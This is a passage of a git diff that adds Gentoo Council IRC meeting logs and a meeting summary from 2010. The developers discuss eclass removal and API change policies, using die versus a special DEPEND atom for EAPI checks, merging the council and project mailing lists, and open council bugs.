+[22:20:30] <jmbsvicetto> ferringb: yes
+[22:20:44] <wired> +1
+[22:21:02] <Betelgeuse> ferringb: also the exact cache slot is not there yet but not a problem
+[22:21:03] <Betelgeuse> yes
+[22:21:13] <Betelgeuse> or +1
+[22:21:29] <wired> great
+[22:21:48] <wired> anyone want to say something else on this before we move on?
+[22:22:05] * ferringb cracks the whip; got 40 minutes left before I'm locked in a meeting ;)
+[22:22:11] <wired> moving on then
+[22:22:21] <wired> eclass removal policy
+[22:22:31] <wired> currently devs have to wait for 2 years before removing an eclass
+[22:22:57] <wired> this is not needed anymore since portage-2.1.4.4
+[22:23:30] <scarabeus> for eclass added after 2.1.4.4 got stable they can be purged
+[22:23:40] <wired> i think a 30day lastrite would be enough
+[22:23:45] <scarabeus> for old eclasses i would keep the way
+[22:23:56] <scarabeus> it does not hurt us to have empty files there
+[22:24:01] <ferringb> wired: 60 is my vote, although this number should be worked out w/ overlay consumers...
+[22:24:16] <Betelgeuse> I would vote on a devmanual patch.
+[22:24:22] <ferringb> scarabeus: there is no reason to do that offhand
+[22:24:28] <Betelgeuse> That's been discussed on gentoo-dev.
+[22:24:37] <ferringb> scarabeus: the env saving/restoration machinery works from the stored env dump, regardless of which version of PM that generated it
+[22:24:57] <scarabeus> ferringb: and old portage did store the env dump?
+[22:25:01] <scarabeus> ferringb: that i didnt know :]
+[22:25:05] <ferringb> scarabeus: always has
+[22:25:10] <ferringb> that's what environment.bz2 is
+[22:25:27] <scarabeus> i know what file it was, i just thought it wasnt stored before
+[22:25:39] <wired> Betelgeuse: +1 on the devmanual patch, this needs to be documented
+[22:25:40] <scarabeus> in that case it can be nuked and prepared as devmanual patch and discussed on -dev
+[22:26:27] <ferringb> +1 from me, although I'd rather the council not set the time frame instead leaving it to QA to find the best value
+[22:26:47] <wired> ferringb: agreed, 30/60 days are just recommendations
+[22:27:13] <wired> who'll take care of the devmanual patch?
+[22:27:21] <Betelgeuse> I think they should be an enforced minimum.
+[22:27:24] <jmbsvicetto> +1 for me with the devmanual patch
+[22:27:30] <Betelgeuse> Or we will always have people who find it oke to nuke without delay.
+[22:27:45] <wired> Betelgeuse: i meant recommendations for the QA team
+[22:28:09] <Betelgeuse> wired: sure
+[22:28:49] <wired> so QA will write the patch?
+[22:28:56] <wired> since they have to decide on the timeframe
+[22:28:56] <scarabeus> wired: we can
+[22:29:13] <scarabeus> </qa hat>
+[22:29:21] <wired> ok
+[22:29:46] <jmbsvicetto> so, next point?
+[22:29:49] <wired> 1sec
+[22:29:51] <wired> (summary)
+[22:29:59] <ferringb> eclass api change policy
+[22:30:23] <wired> ok
+[22:30:29] *** Quits: Cardoe (~Cardoe@gentoo/developer/Cardoe) (Remote host closed the connection)
+[22:30:35] <jmbsvicetto> I don't think we need to create one
+[22:30:44] * ferringb notes that this particular point is trying to legislate common sense in effect
+[22:31:13] <Betelgeuse> jmbsvicetto: Ass in don't allow it?
+[22:31:29] <wired> i don't see why we should prevent eclass api changes
+[22:31:33] <jmbsvicetto> no, as in let it at the discretion of the developers
+[22:31:43] <wired> as long as the teams ensure the tree doesn't break
+[22:31:47] <ferringb> I'd frankly punt it back to dev/QA and vote on specific requirements, rather than an open ended question like this.  thus a -1 from me in the current form.
+[22:32:03] <Betelgeuse> jmbsvicetto: If we decide to not care about overlays.
+[22:32:08] <wired> and they update everyone else, we are not needed
+[22:32:48] <jmbsvicetto> Betelgeuse: I think we should care about overlays
+[22:33:23] <jmbsvicetto> Betelgeuse: My only "requirement" is that any major changes are announced with some advanced warning
+[22:33:37] <scarabeus> i think the api should not be changed the much like python does for example
+[22:33:47] <scarabeus> it is better to roll out new eclass with additional stuff/functions
+[22:33:48] <jmbsvicetto> Betelgeuse: so that maintainers of overlays get a warning before the change is implemented
+[22:33:50] <scarabeus> and then migrate the things
+[22:34:08] <scarabeus> i just dont like packages in stable imploding to my face
+[22:34:13] <Betelgeuse> any way devmanual patch again
+[22:34:37] <jmbsvicetto> Betelgeuse: but instead of having a new policy just for this, I think we can address abuses here with the regular policies from QA and devrel
+[22:35:01] <Betelgeuse> DevRel should not deal with this.
+[22:35:10] <Betelgeuse> Unless it has to do with bans.
+[22:35:11] <jmbsvicetto> we may just make it mandatory the warning email
+[22:35:28] <Betelgeuse> let's move on if we want to handle more points
+[22:35:39] <Betelgeuse> We can come back to the discussion if there's time left.
+[22:35:41] <jmbsvicetto> This is mostly QA, until it become a repetitive and abusive behaviour of a developer
+[22:35:52] <wired> we're doing good
+[22:35:58] <jmbsvicetto> Betelgeuse: let's move the discussion back to the mls
+[22:36:20] <ferringb> scarabeus: agree: re: python, although that's realistically QA's role to crack the whip
+[22:36:57] <jmbsvicetto> wired: next point?
+[22:36:58] <wired> how about we don't enforce any policy, but allow QA to restrain teams when they go... too far?
+[22:37:30] <Betelgeuse> Don't like letting systems break and then picking up the peaces.
+[22:37:51] <jmbsvicetto> wired: such a policy is already in place
+[22:38:08] <ferringb> win 23
+[22:38:11] <jmbsvicetto> QA can already deal with developers that break the tree
+[22:38:11] <ferringb> merde. :)
+[22:38:22] <wired> jmbsvicetto: but is it enforced?
+[22:38:40] <scarabeus> i would say we look pretty undecided, so go for not-decided this time
+[22:38:43] <jmbsvicetto> QA has expressed a desire to enforce such policy
+[22:38:56] <scarabeus> i will try to sent some mailies
+[22:38:57] <wired> ok this is not going anywhere, so lets put it back to the MLs
+[22:39:09] <ferringb> agreed.
+[22:39:12] <wired> moving on:
+[22:39:19] <wired> - use of invalid DEPEND atom "EAPI_TOO_OLD" instead of calling die in global scope on eclasses
+[22:39:23] *** Joins: nirbheek (~nirbheek@gentoo/developer/nirbheek)
+[22:39:30] * ferringb twitches
+[22:39:39] <wired> ferringb: go ahead :p
+[22:39:41] <ferringb> +1 on die, -infinity on EAPI_TOO_OLD
+[22:39:41] <jmbsvicetto> dleverton_: Does ciaranm recall any reason for using it?
+[22:39:54] <scarabeus> that die works better
+[22:39:58] <scarabeus> from ebuild writter
+[22:40:02] <Betelgeuse> die will not stop anything
+[22:40:04] <scarabeus> if he uses repoman it gets caught
+[22:40:08] <Betelgeuse> EAPI_TOO_OLD does
+[22:40:17] <Betelgeuse> at least used to be that way
+[22:40:18] <jmbsvicetto> I like the idea of the depend
+[22:40:18] <scarabeus> with depend it gets broken in emerge
+[22:40:28] <scarabeus> i showed you guys the test
+[22:40:30] <ferringb> Betelgeuse: die will stop it from being used (and/or cached) in at least 2 out of the 3 managers
+[22:40:31] <scarabeus> with depend it dies on emerge
+[22:40:34] <jmbsvicetto> I wouldn't mind using a propper dep, though
+[22:40:38] <scarabeus> with die it dies on creating manifest
+[22:40:51] <Betelgeuse> ferringb: I remember Portage allowing emerge to continue
+[22:40:54] <ferringb> up until a recent paludis merge, it would also make paludis go rather cranky too during metadata
+[22:40:56] <Betelgeuse> ferringb: Might have changed since
+[22:41:11] <scarabeus> so first you catch if you emerge the thing, second cant be manifested and commited
+[22:41:15] <scarabeus> + we have --nodeps
+[22:41:16] <jmbsvicetto> virtual/invalid or something similar
+[22:41:22] <ferringb> Betelgeuse: equivalent to EAPI masking; it will roll past it but not use it last I'd tried it.
+[22:41:36] <ferringb> then yell that somethings went boom while it was trying to do it's thing.
+[22:41:37] <scarabeus> which technically should allow emerging stuff with forbidden eapi
+[22:42:14] <Betelgeuse> If we go the die route I would like to see a PMS patch specifying what it does in global scope.
+[22:42:16] <dleverton_> 20:41 < ciaranm> die in global scope used to be considered utterly illegal
+[22:42:19] <dleverton_> 20:41 < ciaranm> unfortunately it got left out of pms by accident, along with the ban on global scope output...
+[22:42:29] * ferringb notes that's opinion, not fact
+[22:42:38] <wired> die'ing at the repoman level sounds much better, this is something that should be caught by the dev
+[22:42:57] <jmbsvicetto> dleverton_: My understanding was that was the reason we moved from the die to the depend
+[22:43:24] <scarabeus> jmbsvicetto: i never seen reason with portage implementation
+[22:43:26] <jmbsvicetto> about repoman, why?
+[22:43:44] <ferringb> basically... die can be very ugly, but it blocks any potential invalid usages.  The con of such protection is that it reinforces that devs need to do checking of consuming ebuilds when doing changes of this sort (which quite frankly they should be double checking anyways)
+[22:44:51] <ferringb> the flaws with depend level is that the rest of the metadata is treated as valid, including the cache validation that goes with it
+[22:44:59] <jmbsvicetto> ferringb: Were do we expect the issue with the old EAPI showing up? I assume it's with the overlays
+[22:45:30] <jmbsvicetto> and probably a reasonable number of them don't run repoman
+[22:45:39] <scarabeus> jmbsvicetto: we speak about manifest
+[22:45:44] <scarabeus> repoman manifest does not work
+[22:45:48] <scarabeus> if it has the die
+[22:45:54] <scarabeus> the must create manifests :D
+[22:45:55] <jmbsvicetto> yes, but does it also fail on emerge manifest ?
+[22:46:04] <jmbsvicetto> emerge digest*
+[22:46:05] <ferringb> grr.  crappy connection.
+[22:46:25] <ferringb> jmbsvicetto: rephrase the question please
+[22:46:28] <jmbsvicetto> scarabeus: Are you sure people are using repoman manifest?
+[22:46:41] <jmbsvicetto> perhaps they're using ebuild digest
+[22:46:53] <scarabeus> http://paste.pocoo.org/show/241953/
+[22:47:03] <scarabeus> scarab@ugly-elf: ~/gentoo-x86/kde-base/ark $ ebuild ark-4.4.5.ebuild manifest
+[22:47:09] <scarabeus> repoman and ebuild do the same
+[22:47:10] <scarabeus> it bails out
+[22:47:21] <scarabeus> nothing else is really supported for creating manifests
+[22:47:23] <scarabeus> so tadada
+[22:47:28] <jmbsvicetto> scarabeus: ok
+[22:47:46] <jmbsvicetto> Do we want to vote on this?
+[22:47:48] <wired> so, shall we vote on this?
+[22:47:56] <ferringb> frankly, even if current tools didn't quite get it perfect... this is the route that should be taken, since injecting special values into DEPEND like that screws up the cache validation logic pretty heavily (and isn't friendly towards existing cache validation bits)
+[22:48:03] <ferringb> +1 on die as said, -infinity on depend.
+[22:48:15] <scarabeus> i would like to go with die
+[22:48:19] <wired> im with die as well
+[22:48:20] <wired> cleaner
+[22:48:43] <scarabeus> ok 4 for vote, so lets vote
+[22:48:46] <scarabeus> aye by me
+[22:49:04] <Betelgeuse> I would like it written down what die does in global scope.
+[22:49:32] <jmbsvicetto> I can live with both, although I don't like the concept of dieing on eclasses
+[22:49:59] <jmbsvicetto> I'd prefer us to find a way to "raise an exception"
+[22:50:08] <ferringb> jmbsvicetto: die is "raise an exception"
+[22:50:22] <ferringb> if you want literal raise/try/catch semantics... well.  you patch bash :P
+[22:50:23] <jmbsvicetto> I see it more as an call to exit
+[22:50:35] <ferringb> the manager supplies die
+[22:50:41] <ferringb> it's up to the manager what to do in that case
+[22:50:50] <jmbsvicetto> ferringb: The depend to me sounded a "softer approach"
+[22:50:51] <wired> dieing for this specific issue seems ok to me - not saying we should allow general die'ing in eclasses
+[22:51:12] <wired> so its over 10 minutes
+[22:51:17] <wired> on this topic
+[22:51:21] <ferringb> jmbsvicetto: the problem is that if the eclass cannot work with that eapi, the metadata it generates during that mismatch just isn't usable, period.
+[22:51:37] <jmbsvicetto> I agree with Betelgeuse that we should clear the consequences of the call to die on global scope
+[22:51:41] *** Joins: ABCD (~abcd@gentoo/developer/abcd)
+[22:52:02] <ferringb> fine by me.  I'd prefer it's usage be heavily limited to instances such as this also
+[22:52:08] <jmbsvicetto> ferringb: it's the manager tha generates the metadata, not the eclass
+[22:52:19] <ferringb> jmbsvicetto: both.  eclass sets the raw values
+[22:52:34] <jmbsvicetto> ok, I'll defer to you on this subject
+[22:52:36] <ferringb> jmbsvicetto: manager just grabs those values and records them (not arguable, recall I've written this sort of code twice now :P)
+[22:53:05] <wired> can we vote on this and move on? or do you want to look into it more?
+[22:53:30] * ferringb listens to the crickets
+[22:54:03] <Betelgeuse> wired: If you count the votes you already got a majority.
+[22:54:12] <Betelgeuse> But I don't know if ferringb changed since then.
+[22:54:34] <wired> lets clear this out then. who's in favor of die'ing?
+[22:54:39] <scarabeus> yes
+[22:54:44] <Betelgeuse> documentation first
+[22:55:22] <jmbsvicetto> I'll accept with propper documentation
+[22:55:33] <jmbsvicetto> +it
+[22:55:40] *** Joins: billie80 (~billie@gentoo/developer/billie)
+[22:56:12] <ferringb> Betelgeuse: "changed since then" ?
+[22:56:15] * wired is favor
+[22:56:31] <scarabeus> so patch to pms it is :]
+[22:56:33] <Betelgeuse> ferringb: I mean is it a yes without documentation
+[22:56:47] *** Quits: billie (~billie@gentoo/developer/billie) (Read error: Operation timed out)
+[22:57:25] <wired> ok, passed then, 3 to 2.
+[22:57:42] * ferringb stretches
+[22:57:47] <ferringb> sorry, meeting time.
+[22:57:53] <jmbsvicetto> Do we require the documentation or not?
+[22:57:55] <ferringb> will see if I can do both, but no gurantees
+[22:58:01] <wired> ferringb: we're almost done
+[22:58:01] <ferringb> devmanual should be updated for this
+[22:58:13] <Betelgeuse> so 3 for documentation and 2 without
+[22:58:14] <scarabeus> wired: its still over 50% :]
+[22:58:15] <jmbsvicetto> ok, then we have 4 votes for documentation?
+[22:58:23] <wired> jmbsvicetto: we do need documentation
+[22:59:01] * ferringb will do the devmanul patch if no one else does
+[22:59:05] <wired> ferringb: great, thanks
+[22:59:09] <ferringb> sorry, have to bail.  they pay my bills and such ;)
+[22:59:20] <wired> hehe, ok
+[22:59:21] <jmbsvicetto> see you later
+[22:59:23] <scarabeus> cya
+[22:59:23] <wired> ferringb: thanks, c ya
+[22:59:27] <Betelgeuse> PMS too if we wan't consistency.
+[22:59:28] <ferringb> may be back in about a bit, but we'll see
+[22:59:45] <wired> next point
+[22:59:47] <wired> mailing lists
+[22:59:48] <Betelgeuse> wired: We can try seeing if we get a majority on the rest of the points without ferringb
+[22:59:59] <wired> Betelgeuse: yeah
+[23:00:05] <wired> we only have mailing lists left anyway
+[23:00:21] <scarabeus> the cross posting is evil :]
+[23:00:23] <wired> so
+[23:00:25] <wired> first of all
+[23:00:34] <wired> petteri suggested punting -council
+[23:00:46] <wired> i personally think it has its place, so I don't agree :)
+[23:00:55] <jmbsvicetto> I'd like to have it around
+[23:01:16] <jmbsvicetto> and would like council topics being discussed there to make it easier to find previous discussions
+[23:01:38] <Betelgeuse> How do you know what is a council topic?
+[23:01:54] <Betelgeuse> Before being brought for council they should be discussed generically.
+[23:02:01] <Betelgeuse> jmbsvicetto: So you are in fact making it hard to find stuff.
+[23:02:21] <jmbsvicetto> I agree issues should be discussed before being brought to the council
+[23:02:32] *** Quits: Zorry (~zorry@gentoo/developer/zorry) (Read error: Connection reset by peer)
+[23:02:33] <wired> Betelgeuse: council agendas and discussion on the agendas fit in -council. issues themselves should have their own -dev threads
+[23:02:40] <scarabeus> i would be ok with having it on -project
+[23:02:49] <jmbsvicetto> I meant the agenda emails and any discussions about topics in an agenda
+[23:02:52] <scarabeus> what for we need quiet list
+[23:03:26] <Betelgeuse> If we want to avoid fragmentation we should only discuss the contents of the agenda not the issues themselves.
+[23:03:40] <Betelgeuse> Both -project and -council are low traffic.
+[23:03:48] <Betelgeuse> I don't see why we want to fragment like that.
+[23:04:11] <wired> Betelgeuse: is that bad? having seperate lists makes them easier to filter
+[23:04:38] <scarabeus> i tend to agree with peteri
+[23:04:46] <scarabeus> having stuff on one place is quite convinient
+[23:05:10] <jmbsvicetto> hmm, 2 vs 2 ?
+[23:05:14] <Betelgeuse> I don't value being able to easily filter council agendas (the only frequent traffic to -council) over less lists.
+[23:05:21] <wired> so scarabeus you think we should move -council to -project? or to -dev?
+[23:05:32] <scarabeus> just project
+[23:05:49] <Betelgeuse> That also makes it clearer not to discuss technical issues.
+[23:06:02] *** Joins: Zorry (~zorry@gentoo/developer/zorry)
+[23:06:55] <wired> hmm
+[23:07:28] <wired> what about crossposting to -dev (that was requested by a few devs?)
+[23:08:05] <jmbsvicetto> wired: Betelgeuse already mailed project about that and opened a bug to infra to add a note forbidding it
+[23:08:05] <Betelgeuse> wired: http://archives.gentoo.org/gentoo-project/msg_4584599e3f2a5e8ebc590ae3c623e7eb.xml
+[23:08:28] <Betelgeuse> will be announced on gentoo-dev once we get documentation in place
+[23:08:41] <wired> ok
+[23:09:07] <jmbsvicetto> Do you think we can reach any decision here?
+[23:09:25] <Betelgeuse> We can put it on the table again next time if we still have 2-2
+[23:09:27] <jmbsvicetto> I don't think so, so would suggest sending this back to the mls again
+[23:10:16] *** Joins: c1pher|home (~smitdane@resnet75-219.resnet.buffalo.edu)
+[23:10:22] <Betelgeuse> I can see all threads on gentoo-council at once on my screen now btw
+[23:10:29] <Betelgeuse> from 2010
+[23:10:49] <jmbsvicetto> I just noticed there are 3 bugs assigned to council
+[23:11:01] <Betelgeuse> give the area a little more space and it extends over a year
+[23:12:20] <jmbsvicetto> shall we move this back to the mls and quickly go over the open bugs?
+[23:12:22] <wired> lets move the ml talk to ml
+[23:12:25] <wired> yeah
+[23:12:35] <jmbsvicetto> ok, 3 bugs:
+[23:12:37] <jmbsvicetto> bug 234706
+[23:12:39] <willikins> jmbsvicetto: https://bugs.gentoo.org/234706 "Slacker arches"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+[23:12:52] <jmbsvicetto> bug 256451
+[23:12:54] <willikins> jmbsvicetto: https://bugs.gentoo.org/256451 "Council meeting notes appear to be missing"; Doc Other, Other; NEW; gentoo-bugs@allenjb.me.uk:council@g.o
+[23:13:02] <wired> bug 256453
+[23:13:04] <willikins> wired: https://bugs.gentoo.org/256453 "Documentation on Gentoo Council meeting processes, particularly regarding agenda items"; Doc Other, Other; NEW; gentoo-bugs@allenjb.me.uk:council@g.o
+[23:13:30] <scarabeus> i see one more
+[23:13:37] <scarabeus> bug 234713
+[23:13:38] <jmbsvicetto> I suggest we ask Halcy0n if we wants to resume work on the first bug
+[23:13:39] <willikins> scarabeus: https://bugs.gentoo.org/234713 "GLEP 55: Use EAPI-suffixed ebuilds (.ebuild-EAPI)"; Gentoo Linux, Unspecified; RESO, LATE; dberkholz@g.o:council@g.o
+[23:13:47] <scarabeus> but it should just be remarked proprely i guess :]
+[23:14:33] <jmbsvicetto> about 2nd bug, we can ask ferringb if still wants to do it
+[23:14:49] <wired> i can take 256453
+[23:15:07] <jmbsvicetto> ok
+[23:15:18] <wired> that was fast
+[23:15:41] <jmbsvicetto> we should reassign bug 237381 back to us and I propose to take care of it
+[23:15:43] <willikins> jmbsvicetto: https://bugs.gentoo.org/237381 "Document appeals process"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:dberkholz@g.o
+[23:15:54] <wired> great
+[23:15:58] * wired updates summary
+[23:16:20] <jmbsvicetto> For the record, the complete list of bugs we need to check is https://bugs.gentoo.org/buglist.cgi?query_format=advanced&short_desc_type=allwordssubstr&short_desc=&long_desc_type=substring&long_desc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&emailassigned_to1=1&emailcc1=1&emailtype1
+[23:16:40] <scarabeus> jmbsvicetto: i also check for resolved later status ;]
+[23:16:54] <scarabeus> also i think maybe mark will be interested in 234706 :]
+[23:16:54] <jmbsvicetto> scarabeus: yeah, let me check those as well
+[23:16:58] <scarabeus> i certainly am
+[23:17:09] <scarabeus> because we nowdays again see quite few archies lacking manpower
+[23:17:59] <jmbsvicetto> So, anything else?
+[23:18:17] <jmbsvicetto> I'm a bit tired and would like to get some dinner
+[23:18:17] <wired> jmbsvicetto: your link gives 5000 bugs?
+[23:18:25] <scarabeus> it got stripped :P
+[23:18:29] <scarabeus> wired:
+[23:18:32] <wired> explains it
+[23:18:39] <wired> ok
+[23:18:52] <wired> jmbsvicetto: yeah we're pretty much done
+[23:19:02] <wired> any dev want to add anything?
+[23:19:06] <scarabeus> so again lets see if community wants to talk with us
+[23:19:17] <jmbsvicetto> wired: wait, we're missing one very important detail
+[23:19:23] <wired> ofcourse
+[23:19:24] <jmbsvicetto> Who will chair next meeting?
+[23:19:25] <wired> next chair
+[23:19:36] <Betelgeuse> jmbsvicetto: we also need to approve the summary
+[23:19:49] <scarabeus> jmbsvicetto: well thats simple, since noone volunteered i am fallback :]
+[23:20:29] *** Quits: nirbheek (~nirbheek@gentoo/developer/nirbheek) (Ping timeout: 260 seconds)
+[23:20:35] <jmbsvicetto> scarabeus: ok, thanks
+[23:20:37] <jmbsvicetto> Betelgeuse: true
+[23:21:49] <scarabeus> and community is silent :P
+[23:21:53] <jmbsvicetto> wired: feel free to update the die summary ;)
+[23:21:56] <scarabeus> ok guys look on this:
+[23:21:56] <scarabeus> http://paste.pocoo.org/show/241957/
+[23:22:03] <jmbsvicetto> wired: looks good to me the current summary
+[23:22:43] <Betelgeuse> scarabeus: into final -> into the final
+[23:23:08] <Betelgeuse> the sentences don't flow well
+[23:23:30] <wired> jmbsvicetto: you missed! :P
+[23:23:40] <Betelgeuse> scarabeus: it's potentially
+[23:24:23] <Betelgeuse> scarabeus: But good start. Some native will probably contribute a better version once you put that up.
+[23:24:44] <scarabeus> ok i will sent it to the dev
+[23:24:55] <Betelgeuse> remember pr
+[23:25:29] <Betelgeuse> scarabeus: I would include instructions how to override it
+[23:25:32] <Betelgeuse> scarabeus: namely LDFLAGS=""
+[23:25:53] <jmbsvicetto> wired: ok from me for the current summary
+[23:26:08] <scarabeus> yeah summary looks fine after you polished it guys :]
+[23:26:13] <scarabeus> Betelgeuse: you see the wave? :]
+[23:26:23] <Betelgeuse> nope
+[23:26:56] <wired> Betelgeuse: pasting to dpaste fails (needs reformatting), so it'd be better if I invited you to the wave to approve
+[23:27:01] <jmbsvicetto> wired: I suggest you submit a link to the final version so others can express their view on it
+[23:27:20] <wired> jmbsvicetto: submit to...?
+[23:27:28] <wired> council@ ?
+[23:27:29] <jmbsvicetto> dpaste
+[23:27:31] <Betelgeuse> I am going to bed.
+[23:27:39] <Betelgeuse> It's fine if you three agree on it.
+[23:27:44] <jmbsvicetto> ok, I'm going to grab dinner
+[23:27:46] <jmbsvicetto> see you later
+[23:27:49] <Betelgeuse> I will just complain tomorrow if it's lousy.
+[23:27:53] <jmbsvicetto> hehe
+[23:28:04] *** Joins: nirbheek (~nirbheek@gentoo/developer/nirbheek)
+[23:28:10] <wired> Betelgeuse: http://dpaste.com/222131/
+[23:28:28] <wired> great, thanks everyone for being here, good work :)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100809-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100809-summary.txt
new file mode 100644
index 00000000..fd5abc5c
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100809-summary.txt
@@ -0,0 +1,59 @@
+Gentoo Council 2010/08/09 meeting agenda / summary:
+
+
+1) allow all members to show up (5 min)
+  Petteri (Betelgeuse) 12 min late
+  Mark (Halcy0n) 15 min late
+
+2) voting
+  2a) we have nothing to vote this time, nobody wanted anything YAY :)
+
+3) discussion
+  3a) from last council meeting: the mailing list situation
+    * merge -project and -council mls into one (-project)
+      ** for: scarabeus, betelgeuse, chainsaw, ferringb (as experiment first
+         that could be reverted), halcy0n 
+      ** against: jmbsvicetto, wired
+    Fill up bug for infra to do this. (scarabeus will fill the bug)
+
+  3b) from last council meeting: eclass API changes
+    * document better what PV means http://bugs.gentoo.org/331921
+    * make it easier for QA to take action when common sense is *not* used and
+      things are broken
+    * QA team will update its internal policies about the process to request the
+      suspension of commit rights from a developer. The revision might involve an
+      update to GLEP 48. (QA mailinglist) 
+
+  3Y) additional deviation: fallout and suspension policies (per ferringb
+    request)
+    * learn from the python breakage to promote the importance of current
+      policies and why developers should use them properly
+    * use this as an example of how not do things and how it should be dealt
+      with and start a discussion of how to recover from it and how to ensure we
+      can reach users in such cases
+    * continue discussion on -project ml (per 3a) 
+
+  3Z) council comment about the Portage breakage fallout
+    * jmbsvicetto argued that Gentoo needs to acknowledge the incident, ensure
+      affected users can find correct documentation on how to fix it and make it
+	  clear that the practices that lead to it are neither appropriate nor acceptable 
+
+  3c) EAPI 4 status (jmbsvicetto nominate this so we actualy do something new)
+    * ferringb will review the status, and try to find some minion to help him
+
+ 4) Bugs assigned to council@ in bugzilla and their progress
+	http://bugs.gentoo.org/buglist.cgi?quicksearch=assignedto,cc:council@gentoo.org
+
+    234706
+      halcy0n will create new draft proposal soonish
+    256451
+      last summary tbd by betelgeuse
+    256453
+      wired wrote nice patch and it will be updated according to the comments on
+      -project mailinglist
+    237381
+      jmbsvicetto plans to have something to show next mont meeting
+
+5) select the chair for following meeting
+  chair: wired
+  date: 2010-08-23 
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100809.txt b/xml/htdocs/proj/en/council/meeting-logs/20100809.txt
new file mode 100644
index 00000000..d7a17495
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100809.txt
@@ -0,0 +1,464 @@
+[22:00:43] <wired> its about time
+[22:00:44] <scarabeus> well it is supposed to start now :]
+[22:00:55] <wired> scarabeus: ah you're here :p do the honors =]
+[22:01:32] *** scarabeus changes topic to 'Meeting in progress: http://archives.gentoo.org/gentoo-dev/msg_73124be313f6404c92a6ccc033970a6b.xml | http://dev.gentoo.org/~wired/localtime.php?time=1900'
+[22:01:52] <scarabeus> so lets start with rollcall
+[22:02:06] *** ferringb is now known as he-man
+[22:02:14] * scarabeus here :]
+[22:02:18] <jmbsvicetto> here
+[22:02:20] <he-man> yes, let's continue w/ rollcall ;)
+[22:02:22] *** Joins: NeddySeagoon (~NeddySeag@gentoo/developer/NeddySeagoon)
+[22:02:25] <Chainsaw> Chainsaw is present.
+[22:02:29] *** he-man is now known as ferringb
+[22:02:30] <Chainsaw> NeddySeagoon just appeared as well.
+[22:02:35] * wired here
+[22:02:37] <Chainsaw> Ah, and ferringb came out of hiding.
+[22:02:39] <Chainsaw> Halcy0n: ping
+[22:02:50] <ferringb> Chainsaw: I put the sword away you see.
+[22:03:10] <ferringb> anyone care to chair?
+[22:03:16] <wired> ferringb: scarabeus is chairing
+[22:03:21] <ferringb> 'k.
+[22:03:27] <scarabeus> yes i am chairing, i am just writting summary as we speak
+[22:03:35] <scarabeus> they killed our wave :(
+[22:03:53] <wired> scarabeus: wave works
+[22:03:56] <scarabeus> so we wait few more minutes for the last 2 people
+[22:04:04] <scarabeus> wired: i read blog it is going to be killed
+[22:04:08] <wired> scarabeus: end of year
+[22:04:11] <wired> so we have time to replace it
+[22:04:12] <wired> ;p
+[22:04:14] <scarabeus> wired: aha
+[22:04:22] <scarabeus> wired: erm, could you create the wave thingie then plz
+[22:04:25] <wired> yeah
+[22:04:36] <ferringb> halcy0n?
+[22:04:41] <scarabeus> so we will wait couple of minutes on Peteri and Mark anyone against?
+[22:05:14] <Chainsaw> Not a problem. Let me get some water.
+[22:06:00] * NeddySeagoon fetches beer
+[22:07:04] <wired> scarabeus: ready
+[22:07:16] <jmbsvicetto> who is missing?
+[22:07:25] <Chainsaw> jmbsvicetto: Halcy0n.
+[22:07:36] <scarabeus> and Peteri
+[22:07:37] <wired> and betelgeuse
+[22:07:48] <Chainsaw> Did we exchange phone numbers?
+[22:07:53] <Chainsaw> Because if we did, we can call them.
+[22:08:14] <Chainsaw> (I know I left mine, and nobody called me when I missed one...)
+[22:09:02] <scarabeus> i changed my quassel core, and i didnt print it before, so i lack them :/
+[22:09:21] * ferringb notes meetings should start at 19:00... roll call should start at 18:50
+[22:09:21] <wired> !seen betelgeuse
+[22:09:22] <willikins> wired: Betelgeuse was last seen 1 day, 2 hours, 6 minutes and 33 seconds ago, saying "zmedico, ferringb: #gentoo-libbash if around" in #gentoo-portage
+[22:09:37] <scarabeus> !seen Halcy0n
+[22:09:38] <willikins> scarabeus: Halcy0n was last seen 2 days, 3 hours, 2 minutes and 44 seconds ago, saying "NeddySeagoon: sure" in #gentoo-qa
+[22:09:58] <wired> Chainsaw: good point, it didn't cross our minds...
+[22:09:59] <ferringb> just a general comment, since council wise, the 'hourly' meeting has a good chunk of time consumed for waiting on folk to show... should lock down a 60 minute block
+[22:10:25] <scarabeus> well max vaiting is 10 minutes
+[22:10:32] <ferringb> and it be 10 minutes
+[22:10:36] * wired doesn't think we should be limited to an hour, unless you guys have to go
+[22:10:37] <Chainsaw> scarabeus: I agree, we have vaited long enough. Let's proceed.
+[22:10:49] <scarabeus> ok any remarks on agenda?
+[22:10:51] <scarabeus> in topic
+[22:10:56] <ferringb> Chainsaw: you realize this gets logged and than posted (normally) in full to the site, right?  ;)
+[22:11:04] <wired> we'll strip it
+[22:11:05] <wired> ;p
+[22:11:08] <ferringb> yeah, just saying
+[22:11:09] <Chainsaw> wired: Thank you.
+[22:11:22] <ferringb> well.  halcy0n's earned his slacker mark I guess
+[22:11:32] <scarabeus> Chainsaw: you need to talk with infra to strip it, and hope noone else will log it
+[22:11:45] <scarabeus> anyway i guess no remarks, nor voting proposals
+[22:11:55] <scarabeus> so lets get to the point 3a)
+[22:12:00] *** Joins: Betelgeuse (~betelgeus@gentoo/developer/Betelgeuse)
+[22:12:00] <scarabeus> the mailing lists situation
+[22:12:11] <Chainsaw> There he is! Hi :)
+[22:12:14] <Betelgeuse> hi
+[22:12:17] <scarabeus> cool
+[22:12:20] <Chainsaw> We are at point 3a in the agenda.
+[22:12:29] <Betelgeuse> I need to find out why autojoin here is not working
+[22:12:36] <ferringb> Betelgeuse: query if you want backlogs... nothing particularly pressing in it however
+[22:12:47] <wired> backlogs for what? roll call? :P
+[22:12:54] <scarabeus> so last time we tried to vote about it, and we ended up in tie
+[22:12:58] <scarabeus> wanna try it again?
+[22:13:09] <Chainsaw> scarabeus: What are we voting about?
+[22:13:16] <scarabeus> the proposal was to disband gentoo-council ml in favor of gentoo-project
+[22:13:34] <scarabeus> so there wont be so much cross mails
+[22:13:56] <Chainsaw> Both are so very quiet that I don't see any harm in combining them.
+[22:13:57] <Chainsaw> In favour.
+[22:14:03] <Betelgeuse> scarabeus: in favor
+[22:14:08] <scarabeus> in favor
